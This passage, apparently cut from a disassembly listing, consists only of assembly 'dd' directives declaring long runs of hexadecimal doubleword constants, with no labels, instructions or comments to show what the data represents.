		dd 4B66BFD6h, 0CD87B8ABh, 576FE2D0h, 6B3F1327h,	5780581h
		dd 5734CE6Dh, 0A28ABD73h, 18EF5606h, 0C2D6390Eh, 906BEE2Dh
		dd 22E0DEh, 0D9375C47h,	0E0100C95h, 7882E985h, 7A3650D4h
		dd 941A53F2h, 5039270Bh, 14AF1CE6h, 953DC5C1h, 983F1E14h
		dd 5F68C663h, 4770B46Ah, 0C4435B60h, 1DF153FCh,	60638D3Bh
		dd 0FA0EA34h, 1E128536h, 87BED0B0h, 5F4A2657h, 1D530A51h
		dd 0E1A2019Ch, 8218F5CEh, 0FE9A7F7Ah, 0FFFA3D3Fh, 1F95976Bh
		dd 6CB164D5h, 1721B3Ch,	8619C64Ah, 426D6FCFh, 10C0959Bh
		dd 0F39B1620h, 0D73E901h, 86207BC6h, 0BF332B7Dh, 502471AAh
		dd 0AD0EC989h, 0DB29F14Ah, 83DAC2CBh, 974D9C63h, 6D7C51ADh
		dd 0AE6EF356h, 0E5926D99h, 5CCC978Ch, 123A3F46h, 263697FEh
		dd 7EA074EDh, 61D1D840h, 23304B03h, 8DDA156Bh, 489287B5h
		dd 0BC46A805h, 1D52DEDBh, 7971D3BBh, 0E6C6CBA7h, 0BA78939h
		dd 769F16D9h, 837BA62Fh, 12A66DBFh, 38756BF4h, 1640F1AFh
		dd 1A83F5A8h, 6567F384h, 8C5177E4h, 0B4F0C479h,	8F33BC73h
		dd 0BF7AC065h, 0C430ECEEh, 0AAB33AA5h, 49C306F0h, 13D2962Fh
		dd 9E121387h, 31D3F9BFh, 0F19F3781h, 0B8ECB388h, 465038AEh
		dd 5CF6D344h, 0D0A5D474h, 8452157Eh, 0A76B938Ch, 0A64B6DAh
		dd 60A10C1Bh, 993ACECh,	4C11735Eh, 0A320DE2Bh, 6A95696Bh
		dd 0B7DD0838h, 0C48D8119h, 1DD2753Ch, 3DE4E2B2h, 0A20A3B49h
		dd 66E6562Eh, 0C3E8E511h, 0AE256473h, 1627601Fh, 0DD8FF2A0h
		dd 19083881h, 4ADD0131h, 27CAF619h, 0C5C66098h,	0DD074F86h
		dd 0EBAD1D58h, 54F9A659h, 0A303CDCEh, 6918DCC7h, 0CEFDBD6Ah
		dd 0A7889140h, 424A9D5Ah, 23F407F3h, 40220EB7h,	9388EC43h
		dd 1D005047h, 0B461104Eh, 56F980A3h, 199E543Ch,	905E56A4h
		dd 427BADEBh, 0DA3DC412h, 0F9541325h, 0C65A25Ah, 0F73521E4h
		dd 67EB5B7h, 0F73C562Dh, 0F941100Fh, 0B5EACE2Ch, 7356A5C7h
		dd 911454C0h, 86636D6Eh, 0B858458Fh, 534211Fh, 0A6D4AD22h
		dd 4571B98Ch, 3CED8581h, 0DC59F1C9h, 7359489Bh,	0E090647Dh
		dd 6A852A57h, 863CDF9Dh, 0BA17B830h, 54F21BE5h,	5F9A5CB0h
		dd 8529A4B1h, 4C8FB953h, 3406F8F6h, 0DE519841h,	5BDEB7FBh
		dd 3D89E924h, 455D8500h, 26474060h, 75B4B3A8h, 0C0A298Fh
		dd 0C9CC2EFh, 430E4B2Eh, 0DA6ABB97h, 7F1161D2h,	0DBA61696h
		dd 0F1668816h, 0DEA424FBh, 53D2EADCh, 0C5EF096Bh, 38E67E9Ah
		dd 833D7D5Dh, 0F59EE031h, 0C85E68C9h, 39A88B87h, 0A4D40854h
		dd 5A5B41DCh, 935B7C74h, 7626A469h, 93381A9Ah, 0B6233B0Eh
		dd 416D746Ch, 5E236751h, 148C2602h, 7FCA66A6h, 66159E37h
		dd 0EF526EA0h, 4BB35562h, 3D9C9709h, 8E19381Ah,	0E0481C20h
		dd 13279278h, 548B7682h, 7DD5FAC1h, 0DB2533DCh,	0D129BC5Eh
		dd 0C45222FEh, 69650E7Dh, 7A6DD452h, 0D712D671h, 89B1C9A0h
		dd 61993507h, 3F6F62B2h, 12AE3F18h, 7D33AB66h, 9DEEF380h
		dd 67BD138Bh, 0EC842EC7h, 41BF5170h, 0A2733DD3h, 3C607C59h
		dd 0D7E80EF0h, 0B682CE51h, 5056A6E1h, 7E0EC53Dh, 0E9C02A73h
		dd 0BF89E985h, 0BD4E1E4Ah, 0E5154B6Eh, 1AB6F2ECh, 78DC50B6h
		dd 1A1C02ABh, 0E54F6C4Bh, 24F0F053h, 0F2EE5A28h, 354A0CD2h
		dd 20664091h, 0C919D8BAh, 8793F7A3h, 80C7677Dh,	0BFD9A0A2h
		dd 0F8E8A98Fh, 1F26085h, 0C79BA644h, 37620419h,	0E983A476h
		dd 0F9BD793Dh, 45E9E016h, 9809338Eh, 0D9146B51h, 0D35A417Ah
		dd 0C42A9962h, 5F8DD822h, 0C524E8BCh, 0E42CD94Ah, 56E17C7Dh
		dd 1C22B3E8h, 16970683h, 0CDC93AC4h, 466A672Eh,	553242B8h
		dd 40824BB0h, 86EC70D3h, 1B291324h, 0B9365F4Fh,	345FAB2h
		dd 0A63E51F0h, 5105F5E0h, 30C6420Ah, 24C1DB1Bh,	0F4C00893h
		dd 780167E7h, 0AAE6A081h, 0BF12D63Fh, 3FFD20FFh, 19E0658h
		dd 90AAB91h, 5B520C00h,	0A59D2D22h, 0FBB6499Fh,	69511894h
		dd 0B3487CCBh, 425C4B8Ch, 0A8D2610Bh, 72985AE4h, 0DAA6AB47h
		dd 0B46DF9E6h, 5681EC87h, 1C327BC5h, 0C69EE2B9h, 5DCD4CC9h
		dd 76685C2Ch, 15335939h, 9882C970h, 57ECB233h, 0AD29F394h
		dd 8836AFF7h, 78C5029Eh, 787EADE2h, 0CE5F7E9h, 0AD6430Eh
		dd 8549DB9Dh, 748408DCh, 86367C4h, 22F7A090h, 621A5637h
		dd 61F8E0FBh, 309C665Eh, 108B9B96h, 0AF129407h,	0B3FDE125h
		dd 0BDA6AB98h, 0A9D9E993h, 0BA8C844Ch, 0A7BEB7CBh, 0D2E3632Ch
		dd 9990DBF3h, 0DC3A6BF0h, 5FA819A1h, 50269CA8h,	0F783C3D6h
		dd 0C046BEB0h, 0B6716ECDh, 0F0BE4D2Ah, 9E8C51BEh, 0DE574537h
		dd 8C53F414h, 0E1FC5283h, 8589FC60h, 0B910AAD9h, 21C1F905h
		dd 40B0A1C6h, 5C89E835h, 3E5C8C10h, 0AD13A21Eh,	53A63025h
		dd 2F120A20h, 1DAB01CFh, 21104A57h, 9E20B1A4h, 1B5E713Bh
		dd 73ADE3FDh, 30285B88h, 0DC79F062h, 0B86C4B3Eh, 32DBD6B6h
		dd 7BE31F66h, 55F6CF96h, 19878DDEh, 0C6BFC6E2h,	12EA4E28h
		dd 0A4C7B1ECh, 77935430h, 5ACE741Fh, 0BB358536h, 245CBB87h
		dd 0AE9AAB44h, 0FCDFBE9Ah, 451636AEh, 351E306Eh, 9E98CCD2h
		dd 83183260h, 13443529h, 0A972C3D4h, 5728D93Ch,	0D2EC1494h
		dd 0E7CA6E58h, 0B2BA5202h, 87A43B37h, 31EC1978h, 0C8CDC610h
		dd 7B31F38Bh, 0AA56D028h, 7A283374h, 976A33CCh,	1818C44Ch
		dd 614FF070h, 17421DC9h, 0C0377C94h, 3E04F92Eh,	6F26954Bh
		dd 64474D25h, 38468C66h, 0A3825776h, 8CA848A6h,	0ABCBCC60h
		dd 0DFFB9721h, 44A19C6h, 3BFDB575h, 0CEDE964Ch,	0D09E9A96h
		dd 4AB519C4h, 2BAD21B5h, 0A919459Eh, 0EACC8C1Bh, 0B9261844h
		dd 74DD3BE5h, 196D6619h, 9992D683h, 228E96CEh, 4A6D96Ch
		dd 5A6AEA1Ch, 0EE993EEFh, 0C3043739h, 4357B278h, 0AAA0802Dh
		dd 0E9BEEB31h, 0B3AD28FFh, 1DDDAF7Dh, 0B49AA4E6h, 73D447E0h
		dd 7EB21B6Bh, 0C37066E1h, 0C21AB5B2h, 6357C8D1h, 4F08F551h
		dd 5319E7E3h, 0A329B4A7h
		dd 3303FDABh, 22C19FC4h, 44740115h, 486B45E3h, 6449FC53h
		dd 0F8D74EDDh, 8A1B6A02h, 0E2FE77A9h, 6E710EF4h, 1F0F40CFh
		dd 3FC187A0h, 0BBD8A037h, 5055AF90h, 0B9537D47h, 12170F28h
		dd 11B2C0FAh, 4C046D40h, 0D2B2E182h, 8AB01E95h,	811D979Fh
		dd 0DB972E08h, 0E9B18813h, 0B487B37h, 42DDCF03h, 0EB0E10B1h
		dd 0A2234E50h, 22B84C80h, 0D1BEE638h, 2BE29E14h, 8D319BFh
		dd 5F054A50h, 301F6B9Eh, 70850447h, 389C748Eh, 4D9541F1h
		dd 0EBFBD94Dh, 0B8003668h, 86F33DF0h, 1094688h,	3247796Ch
		dd 2BB59DD2h, 12D29B60h, 26F0F96Bh, 704080D2h, 6208E426h
		dd 8EB5D170h, 0CF80BBC7h, 3FBDFF1h, 7E20AFC5h, 0DA047CCh
		dd 3C098DB6h, 9CD99B0Eh, 44A61C0h, 0C800E937h, 3F90CED9h
		dd 5D401388h, 69B87B74h, 0E0C47BBEh, 18551B3h, 6137A281h
		dd 0E23E3C58h, 26F64E9Dh, 673228C1h, 0A106CA56h, 0BC195863h
		dd 0D55A5660h, 56B25A7Ah, 6B4A4788h, 0FDD87286h, 0A32F1243h
		dd 0B83F5FB1h, 63D07A80h, 7E81198h, 28B4D585h, 3DE7D245h
		dd 34C99369h, 87CC2CEBh, 1B977592h, 131ABF6h, 582352C9h
		dd 6FFC6249h, 96A50Eh, 239F7B57h, 1A8464BEh, 0C1AC1978h
		dd 2F97CFDBh, 2BD95BEBh, 51645F31h, 0E1AA5B38h,	2AFD699Ch
		dd 6081DEA2h, 0F0AAE909h, 0FA7FDA9Ch, 2A96FC7Bh, 7923F376h
		dd 200EA6E1h, 0FD9D6A8Ch, 75184F53h, 0E6D35EC3h, 335AC5C4h
		dd 0C9D0B5A4h, 0B92BF2D2h, 233DAC79h, 0A55282A4h, 0E428ED76h
		dd 3814178Eh, 0B4563340h, 7911E3E7h, 0A9F014A8h, 0AA8169B3h
		dd 58AEA9E6h, 7C66D3C1h, 5D9B22CDh, 1B870548h, 27172B70h
		dd 9F404CA9h, 828E0D6Fh, 8F26D9DCh, 9A01D0ECh, 8B898BEh
		dd 559CB9FBh, 70EB9A7Dh, 0FB9C2612h, 462C95F1h,	21B8F8B0h
		dd 9F376D41h, 0A783BB68h, 7CC68235h, 0E8317C3Bh, 0B3DE44D5h
		dd 505C55D8h, 9DFF4393h, 72E7F7D1h, 682651F6h, 8E34FC58h
		dd 7DC62ADBh, 0E37D39D5h, 2EE54124h, 4B5698DFh,	9A0934F6h
		dd 28E4FEFFh, 0E6939AC3h, 49385FC0h, 48B657AFh,	9A2AE1F7h
		dd 7B2766E4h, 19DF1B09h, 0B06C54F1h, 948801DFh,	39A9DB64h
		dd 75545171h, 57CFD8AEh, 3A9D192Bh, 81F3CAC8h, 9D880E93h
		dd 2EBE8150h, 0ADE9EE25h, 0E1BB9320h, 0B837C51h, 3F7E4042h
		dd 4AC5AF6Dh, 2FCC9CD3h, 0E1DA8993h, 117E10Ch, 0F70A1658h
		dd 9EA011C8h, 21D3ECACh, 165B825Ah, 158B4565h, 0A9DA538Fh
		dd 0D4433978h, 612E4CD3h, 85D96A1Eh, 80B2FC44h,	0ED98C471h
		dd 3FE7FC8Eh, 0FCDAB7A6h, 4B274C9Dh, 9CC70C2Eh,	4B785EDAh
		dd 0F97A02A6h, 3BD8DFA0h, 5464D5FEh, 919E1D77h,	0BDD7167h
		dd 51DBF057h, 0DAC41AEFh, 0D3988323h, 0F5A6FC59h, 8E6275ADh
		dd 0B63C2819h, 54ABD6C2h, 5512C78Dh, 25090E03h,	0C798E15Bh
		dd 3A9689C8h, 0F32ABD96h, 9E70C48Bh, 849A02ADh,	404FE36Ah
		dd 2C796705h, 823B52A7h, 0D18BA704h, 7AE390F9h,	860F0A63h
		dd 65CE2Eh, 28C9588Ch, 69C7867Ch, 0D51AAD4Fh, 0F9F76779h
		dd 7F3F3848h, 92846475h, 0A87C4465h, 0F05F9CB1h, 58251676h
		dd 8C7E1DB3h, 7ACD1189h, 853A064h, 1E8052D6h, 0D5FAC72Fh
		dd 96B7BA5Bh, 0FEEAB6ACh, 6FF9AB99h, 0D149F602h, 0F723B76Dh
		dd 7601D633h, 8F046D63h, 77532BC4h, 0BD0D8C94h,	0DF413C0Ah
		dd 45021EEDh, 0C013814Ah, 8C1F3615h, 0D22C1A2Fh, 99826B40h
		dd 36E796D7h, 0C80D6B70h, 0C1649DA7h, 294990C8h, 987029Ah
		dd 0A57A0B60h, 21E7D442h, 7B3783C5h, 7080D8B7h,	0DB7E8684h
		dd 68DE5D81h, 8DE556CEh, 465E1DFFh, 0A1FD31ABh,	0CACB9075h
		dd 5F5C6ADEh, 0D65CFB2Bh, 0B600785Dh, 2F33F7ABh, 27E52B1Eh
		dd 5D7F1645h, 9924674Ah, 71C9E24h, 1685E974h, 3134DC3h
		dd 276C9F93h, 0A451978Dh, 0D38AEA2Ah, 0BBD757ADh, 1ABDFD22h
		dd 499DD998h, 0EF5A2D8Fh, 0AD5B9634h, 0BCDB48C1h, 54DAAD9Fh
		dd 0D29CA824h, 0DF38BE90h, 7EAF6965h, 6738454Ch, 7882EB46h
		dd 0D0574CF6h, 0AC390A4h, 0E10BB691h, 11DA4146h, 104BF73Bh
		dd 0E8E2264Dh, 814E7AC2h, 9D1B7D29h, 0D7BD1184h, 579193A6h
		dd 0DF7BE106h, 3FC141E4h, 296D41E8h, 433D2DF0h,	9C1859C9h
		dd 30006BC6h, 50D26E3Ah, 0EFCC6F3Fh, 39E10F77h,	76524607h
		dd 0EAEBE597h, 512B442Fh, 85C29D1Ah, 72BFEFCEh,	8C4C9514h
		dd 0ED52A851h, 1C9EBD57h, 8EFEC000h, 9D29EABEh,	3FA7BF6Eh
		dd 0A4BDCE49h, 78C0CCC0h, 0B1B63E31h, 5333CB43h, 0FE3D6C6h
		dd 1C3F0B51h, 65A969F4h, 4A03D616h, 0CA1D1E5Eh,	3D0D45DEh
		dd 401FDF4Ch, 10A716AAh, 0E4711A92h, 3BCBAC1Eh,	0AF7AAC23h
		dd 544FB05Ah, 0A4503ADh, 0C036F760h, 0BE4DB4F5h, 97B91FCCh
		dd 9E1EFC9Eh, 31D706E3h, 0BE5C96F1h, 0E44207CCh, 7BA64BACh
		dd 6C4AB56Eh, 0BFDE10D7h, 8B9FCA6Fh, 0BE416B7h,	7151ECF5h
		dd 5332D6A3h, 8CE78C6Ah, 0E21BCA72h, 99C96165h,	0AE64C4B3h
		dd 0EF164319h, 72B36B5Ch, 0FC27C173h, 0BB9263E5h, 1B063D9Eh
		dd 0DFAF58ABh, 3949F73Ch, 72A5377h, 0D193D140h,	960D9C29h
		dd 9C4B50F9h, 6A4FA49Eh, 298ACF19h, 5830E4E2h, 9C707EEAh
		dd 0C3661930h, 5F7A21EAh, 33FEF3B1h, 49779AE8h,	1CBD97CDh
		dd 268A667Bh, 14CBEC4Dh, 597B4D18h, 0C2925D83h,	63BF4DA7h
		dd 7BF5C4A9h, 1A49733Ah, 0F4FFBE1Ah, 0B1C694E9h, 1185713Bh
		dd 7B6976B6h, 5CACBB96h, 0DDC0A3F9h, 0C720573Bh, 0CDD0CEF3h
		dd 40755755h, 0B1BE0C0Bh, 0A37F1DF3h, 6DCA2517h, 42F1493Ah
		dd 6F0A55FBh, 3005E34Dh, 0A110BBC9h, 29875B48h,	20CFC149h
		dd 22035900h, 0B95B0E2Dh, 0D465A8F9h, 0FCD0D173h, 6BB41E03h
		dd 14FF8570h, 0FAC544F0h, 90E6D753h, 0E3BA6333h, 0D40DD1F0h
		dd 93F6C4DEh, 8C42A1A8h, 0B5476F49h, 270B62C0h,	0A63E8E52h
		dd 19FAFEF2h, 39F95030h, 301206FCh, 84CFDBF3h, 0B64F4412h
		dd 0D057E0Eh, 5B11829Bh, 6900B342h, 4458AD51h, 78D59080h
		dd 478D2138h, 8433174Ch, 40BCA77Ah, 0EFB14DECh,	18D2AA09h
		dd 97370A8Ah, 553138D1h, 29C66649h, 0D0C84256h,	0A9AD4B82h
		dd 1356F083h, 0DC66D345h, 90C33F3Eh, 8FE24AC3h,	798709B9h
		dd 8FC85995h, 0EF6C147Dh, 0CB86F66Dh, 70AE9F65h, 0D164AAD1h
		dd 6E19C717h, 0F74F6319h, 81067B71h, 0FC3DA97Ah, 0D5F0FD19h
		dd 97FED95Dh, 8EC7C6E9h, 80D9BEA3h, 534620Fh, 4837C36Fh
		dd 0F5C11543h, 0A089CC89h, 23EB033Ch, 9224064Ah, 4BB52FFDh
		dd 733501ABh, 5D108C2Eh, 36161B9Dh, 0E681B346h,	719EA20Eh
		dd 6515A4B1h, 0F3BB38ADh, 0A861CB38h, 0D0E34F88h, 505A2687h
		dd 621830A9h, 2237995Ah, 9D1191D9h, 0E6D0705Fh,	0D050C07Ch
		dd 0F211846Dh, 10B12155h, 8D8685D1h, 0E7FAC5F6h, 9212BC2h
		dd 0B02002C3h, 7BC9A935h, 26F98F4Fh, 575A6DE0h,	9498E927h
		dd 0F54C8C1h, 4326148Ch, 7F497FF2h, 0F14DFF71h,	22491590h
		dd 0E19502B0h, 0D3EDAC50h, 0F729C691h, 9F066CC2h, 5510E855h
		dd 0F6044B67h, 0F85FDEE0h, 993506BAh, 95927AADh, 397823B6h
		dd 417F3BCBh, 0BB474BFDh, 78B471E7h, 57361B8Ch,	0E289D218h
		dd 0F48451BCh, 0D9B2D0CBh, 79808C5Ah, 52F9A57Ah, 2CA343DAh
		dd 5668A6F3h, 50981844h, 84049A0Ch, 0E1D465D6h,	7DE0ED7Eh
		dd 0F1DEDCD8h, 275D31ABh, 0D7F5A483h, 5696A6ADh, 0E291A6E2h
		dd 2A711BF9h, 0E0DFE7D4h, 0B04BF59Eh, 5A4828C3h, 7A9E8558h
		dd 0D15FCFE7h, 740CB8B9h
		dd 0C79263A8h, 6018CAC5h, 0FD509094h, 0B79AA2A3h, 8A708433h
		dd 18FBE90Dh, 7285A01Ah, 92868455h, 3D06EC8Fh, 6E1128C3h
		dd 0CD58B3F3h, 0E8422F7h, 41267449h, 0EB30593Ah, 376F0113h
		dd 40DE87DFh, 5B4F08CEh, 86D91249h, 606221F0h, 0BC37CB69h
		dd 92634FCFh, 0B70B7A2Ch, 9FEA8044h, 0A83304Ah,	5696EDD5h
		dd 7274B046h, 0A35EB11Bh, 0DF1B5F8Ch, 0D9B88383h, 101F5311h
		dd 0D087A5FAh, 0B7F88FFAh, 693079E0h, 0EB21C9D8h, 3FCC1226h
		dd 562F625Ah, 9B97E49Fh, 10465937h, 7EACF837h, 809A285Fh
		dd 71033E7Bh, 83864134h, 510D1F8Dh, 8F57445h, 9326D191h
		dd 0D5288A5Bh, 0C26BD65Ah, 6F4C6BCAh, 0BB1DFF90h, 67299782h
		dd 0CF62E2EDh, 0FAAE28D1h, 0B3B73FD8h, 6A94282h, 465B9C7Fh
		dd 6EDBB267h, 0C68B2CDFh, 0B862D0CBh, 27D9815Dh, 13CEC75Ah
		dd 8889CF65h, 93BFF1F7h, 0EECF740Ch, 4E24677Dh,	56A68DAFh
		dd 5F973FFBh, 69E9E937h, 0CD3D21D2h, 2D2EC65Bh,	0CB82C9D9h
		dd 6C713084h, 92B4C66h,	3ADB8857h, 0A13B9A3Eh, 60DB7408h
		dd 936A4683h, 5493477Eh, 430FCEECh, 1566751Dh, 0D3C53C14h
		dd 12C957F3h, 251C3CBBh, 0B243B439h, 0C52682CDh, 0A5FBE8A1h
		dd 9D4FA847h, 0CD6F91h,	4D1244D4h, 766F6826h, 0E1D0F367h
		dd 2309267h, 21F24FB7h,	139C0BAFh, 572097D2h, 0CF0AC722h
		dd 0CD133C07h, 207219Bh, 25F6DECh, 4C35C000h, 7C0B0D65h
		dd 76B9D014h, 6FDF44FAh, 0D9977715h, 523C6D2Eh,	0E521BB3h
		dd 0B4FFD290h, 7BF950F3h, 15DB50AEh, 174BCC44h,	63D20561h
		dd 0A4D013DFh, 0A120EF5h, 76F4CC43h, 370A7003h,	0B95C96D5h
		dd 0D9A313FFh, 0A03CA018h, 1C6E0C0Bh, 0C37D39B3h, 0AD4A6FC5h
		dd 67B343AEh, 0E9C6E5A3h, 0E079889h, 3FF7C804h,	929E4916h
		dd 16A1B43Eh, 0EF4A5790h, 0FD72F4FEh, 9A1745B7h, 0C6575BD6h
		dd 0AE31DB0Dh, 6F0906E7h, 7E38D2D5h, 0E21FC21Ah, 7B7B7A5h
		dd 0B30D8E96h, 1FCA6B9Fh, 0BCA3EA82h, 779F4CFAh, 97CC52AAh
		dd 0D6424D4Ah, 825645E2h, 0B492339Eh, 82731ED5h, 0BAE44453h
		dd 0E902B40Bh, 0A85970D1h, 0D02160F9h, 0AC7D9B97h, 9E0E90C8h
		dd 826DFB52h, 0CC28EF5h, 0D7F7B316h, 31E41DEFh,	1A1564ABh
		dd 35EF4A15h, 199A881Eh, 0D42454BAh, 0E8B27D6h,	0ECD24CD1h
		dd 13A799A4h, 8A0FB9DFh, 2D2A09h, 0DE1FFE61h, 0A7BFD692h
		dd 0F65A403Dh, 8DD6F4B2h, 0F81D2E01h, 7D42BB58h, 0D6702A5h
		dd 2E3DB8D5h, 2C7EA4A1h, 801AB64Fh, 194A8664h, 204D159h
		dd 0D9B5EE32h, 2801BCE4h, 0A0B3C83Ch, 0F3B1D2FEh, 629DB1F2h
		dd 0F5A87312h, 2591E48Eh, 54D84D75h, 17E5D5E2h,	416A1081h
		dd 7A5D4F28h, 78F1CC4Ch, 8452E6A2h, 4073DE29h, 6F98F995h
		dd 58DEF05Dh, 0B7CD2994h, 0A5322A42h, 51C8EF70h, 14C88EF2h
		dd 4BAEADCCh, 0EC5681A8h, 94E6ECD0h, 3C032378h,	21C24324h
		dd 26F70CB6h, 1B3047EEh, 0A5201B30h, 70E8F60Fh,	0A5DD9EB4h
		dd 0A8AF2AC9h, 59B58763h, 0FDFD431Fh, 9DDD6B6Eh, 7BA62179h
		dd 9706B918h, 7758075Dh, 7E8A29E9h, 7920C723h, 0F100DFCFh
		dd 0A6381D0Fh, 1ADC7C33h, 6E0A7911h, 0CD2C5560h, 5F44AD28h
		dd 0A2C4FC6Ch, 7E5D6F73h, 537CB8F2h, 3B7C022Fh,	0F8EABC6Fh
		dd 0F0D52462h, 0A57EE57Bh, 13E99B08h, 0F80B1B46h, 0A2F7A763h
		dd 0A70B81C1h, 634795C8h, 7356404h, 28916C57h, 3D908D1Ch
		dd 0B5303D1Dh, 47C07D3Dh, 0BB995C0Dh, 5132BF8Dh, 0F020D8ACh
		dd 3FC2957h, 3A968395h,	0B69F6992h, 47046F18h, 0E6EC1DC7h
		dd 0BD37D130h, 930954C6h, 353C5E8Bh, 0D25E5AF5h, 0B3CB69FEh
		dd 0DB0CDED3h, 0D6746911h, 0E95D1A80h, 1C011C79h, 629A8377h
		dd 0A2EB1EE1h, 3CA33E8Ch, 96F16553h, 366CC5C3h,	0DB708B44h
		dd 25CF9364h, 0B7126372h, 2E3AE7C9h, 0A8CF26CCh, 0E569BF82h
		dd 39748098h, 0B407FFFFh, 0F979842Ch, 0E9E43985h, 0A8B7E41h
		dd 88ABACAFh, 0E464503Dh, 8999E59Fh, 0F187E5B1h, 5417D8BCh
		dd 56C0B493h, 6F4EF182h, 0F08523D6h, 0BD51ADE9h, 84209A30h
		dd 8BC8B8B8h, 178D9ADCh, 69692642h, 8D6515D9h, 0FDD5B8A4h
		dd 29C5CD57h, 79B86BFCh, 2059EAA4h, 7D7BC8AAh, 0B52D9E44h
		dd 86DA2654h, 82A67983h, 81D26B83h, 5241FC5h, 753DC5FEh
		dd 1C52B7E3h, 0B0A8F709h, 625424DDh, 2B629D9h, 22A1EF3Bh
		dd 0FD381212h, 9F3D6886h, 0C37CA648h, 86D9D38Ah, 384FA328h
		dd 0A858C55Eh, 0CFA24B0Fh, 0E097FCAAh, 3453556Eh, 0C21375DCh
		dd 0A49686ECh, 1FC531BEh, 4D79EE7Bh, 74A5303Dh,	0F9F5F1F2h
		dd 44D0FF61h, 2032D348h, 3FF87BE5h, 8FB13105h, 0AE3AB6F7h
		dd 0B4FE1A10h, 49CAF6A9h, 938B8AE6h, 1CEE2FBAh,	9364EAFh
		dd 56360C4Fh, 9CE4D2BBh, 83D63B05h, 0B02D30A6h,	613545E6h
		dd 48669A34h, 13A93771h, 447CFEF7h, 567F9AA8h, 0DFDE5F73h
		dd 0A2C95707h, 6B87616Ah, 19DD267Fh, 76A03B9Fh,	3B36C462h
		dd 0D0E3C94Ah, 0D7CBB7F2h, 0AF8B67E7h, 9373413Bh, 0BED63Dh
		dd 5578AC1Ah, 4844B3E5h, 1C885E72h, 846F03CFh, 8DEE13A2h
		dd 2BA6052Ah, 1F40DF1Bh, 0EAFC5119h, 0CFEBD52Dh, 21FB1C20h
		dd 5136E755h, 1F2AA51Ch, 5280FA76h, 0DFF22857h,	6F6BC08Fh
		dd 893B7263h, 77AA6708h, 9B130A87h, 0E58E7FC8h,	0DFA15ADBh
		dd 0FE6CCBAh, 0ADAF47Ah, 252CFC83h, 6A7637ACh, 81558C98h
		dd 0FC3CEC28h, 7AD32ED5h, 7174BAA5h, 67820141h,	0F7AF231Eh
		dd 27616297h, 0DAA7C507h, 4E7C24F7h, 0DEC17F2Fh, 0D7493853h
		dd 0E6CFB2E1h, 9C5EC829h, 0A27FE96Fh, 42FCADFDh, 0CCAA6836h
		dd 7EF4D196h, 7A6E9E6Dh, 0F571A477h, 0AACF058Dh, 991AABEh
		dd 0CB7A8073h, 52AF14A1h, 9209A48Fh, 0F51C8C0Dh, 0DACBFD01h
		dd 0C6538507h, 6F173938h, 5631FE0Bh, 0AEC76C82h, 971AB02Fh
		dd 0B1711596h, 95C81DB5h, 69FDA4A2h, 0B1F38A90h, 13C56C83h
		dd 765A6A56h, 7E7308A9h, 7AD77450h, 7CF0CFE8h, 0FF61A744h
		dd 85573996h, 630E18BFh, 332A2153h, 474F8010h, 0B4F74D83h
		dd 49387BF7h, 0C0088333h, 0E3423A18h, 0BBB668AEh, 94CC5E96h
		dd 3A99663Dh, 0C1CE9806h, 176F189Fh, 4CB85813h,	9B1C0651h
		dd 7E9EDD21h, 188AD58Bh, 27B31142h, 7E87EF1Eh, 5E78151Ch
		dd 22E31B35h, 0C9088AE8h, 10680E79h, 244C9F06h,	31B8665Bh
		dd 592EA3Ch, 0C5D5DC39h, 0AD52B27Bh, 68F7E4BBh,	71158659h
		dd 0F05236ECh, 22D123C2h, 648FFBD9h, 72B3FB9Ch,	0BB7C51C2h
		dd 0B10B8D8h, 0D6E2D1A7h, 782F39D9h, 0D98D2238h, 67006A9Dh
		dd 0FDD740E8h, 0B7DCCAB1h, 8A11B02Ah, 980B7311h, 0B28D6F18h
		dd 0FE8962D4h, 0C0149DBEh, 0CA021F92h, 4D4F3772h, 0BC9461EEh
		dd 0C83657A4h, 85A04931h, 303F3927h, 0C0BE9BE1h, 9BBF06FDh
		dd 0E6F11340h, 0D06E2074h, 140DCB2Fh, 4E604FB0h, 0E175FA3Fh
		dd 0AEA405Dh, 400CD076h, 39D69DD7h, 6694884Fh, 0E0EEAD1Bh
		dd 0C1B3519Ah, 0E0F48672h, 0E0D55260h, 0E310A2A2h, 631E0F6Bh
		dd 0DB05A6C1h, 0E6DCA931h, 3E72A3D2h, 576BBA5Ch, 9BC808E0h
		dd 90172F34h, 3EBB4D36h, 208E73DFh, 0A109153Bh,	5B8353D4h
		dd 850F915Dh, 0E0F5B0FDh, 5A263C2Dh, 32A87D75h,	6BAB2F28h
		dd 0F2FC90CEh, 25E0546h, 0BD61958Dh, 7626E096h,	0A728289Eh
		dd 16F23F88h, 0F4CCC2D3h, 3F0EDC57h, 5B311273h,	0EB5FFCD9h
		dd 0A74838CCh, 0A14B755Ah, 51143D5Dh, 2A2D3462h, 3CC90B68h
		dd 0F5268626h, 6A191D2Dh
		dd 0D09831EEh, 649DE5A2h, 7F92041Bh, 0F6FA6B78h, 2B80630Eh
		dd 48331B7Fh, 2AA95BD3h, 0AA9778F1h, 6A0D9680h,	79069519h
		dd 14CEF1BFh, 2955034Ch, 196E415h, 20F09199h, 62B7DD22h
		dd 0E96A69CBh, 801901C8h, 7C4417CEh, 15B7A3B7h,	3790880Eh
		dd 0DED6EF40h, 28D12AF7h, 2937A879h, 5235A478h,	60C227DCh
		dd 0E5095B4Ah, 80ABC79Dh, 0E085E5BAh, 726550D5h, 0E2ED395Fh
		dd 0C334910Dh, 0B510194Bh, 0E00CB2C6h, 0B5482269h, 0C0A36419h
		dd 0E45AD85Eh, 0F48BBC6h, 919088EEh, 0E660D6A7h, 8D3EFE8Bh
		dd 7AB01271h, 48C0D7B7h, 0CBE1D273h, 0BBD09331h, 0C849ACDDh
		dd 52AC5BDh, 70108BE5h,	0E0CC3AC0h, 0B84AA4Dh, 3ECED108h
		dd 34908950h, 86335FB9h, 876FA5F7h, 8CB5BF18h, 9B2A7ACAh
		dd 8D2CCF81h, 0D446938Ah, 30CC8DB0h, 498AACB0h,	6355700h
		dd 15BD86E4h, 431DD46h,	56926251h, 8AD6EE9Eh, 21A137C5h
		dd 230E61B3h, 55AC472Ah, 0EBDF485Dh, 201FF3E0h,	630A52B6h
		dd 5C0EFF0Bh, 3BC92A03h, 0A3F4B98Bh, 0E6B2019Ch, 0C6E7397Bh
		dd 0BC486495h, 5A0C5696h, 4CB75652h, 3381B956h,	1AFB5B3Ah
		dd 52A0661Fh, 560A332h,	2226787Dh, 1D29E733h, 41F259B2h
		dd 0B34CEF3Eh, 0E7CECB23h, 89117C8h, 29AFFFC9h,	2EF03F61h
		dd 0E29F755Dh, 0F5AA3277h, 0E3F834A2h, 2DD68A65h, 9F83C638h
